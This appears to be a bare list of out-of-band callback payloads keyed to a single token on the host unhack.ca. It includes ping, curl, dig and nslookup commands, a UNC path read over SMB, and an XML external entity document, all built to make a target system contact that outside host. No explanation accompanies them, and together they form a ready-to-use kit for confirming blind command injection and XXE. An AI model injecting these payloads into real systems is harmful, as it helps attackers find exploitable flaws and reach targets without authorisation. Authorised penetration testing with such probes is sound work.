$ ping -c1 -p 00e9bef0852d19c3953e812696de7300 unhack.ca
 

$ curl http://unhack.ca/p/e9bef0852d19c3953e812696de73
 

$ dig e9bef0852d19c3953e812696de73 @unhack.ca
 

$ dig e9bef0852d19c3953e812696de73.ns.unhack.ca
 

C:\> nslookup e9bef0852d19c3953e812696de73 unhack.ca
 

C:\> type \\unhack.ca\e9bef0852d19c3953e812696de73\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/e9bef0852d19c3953e812696de73">]>
    <foo>&xxe;</foo>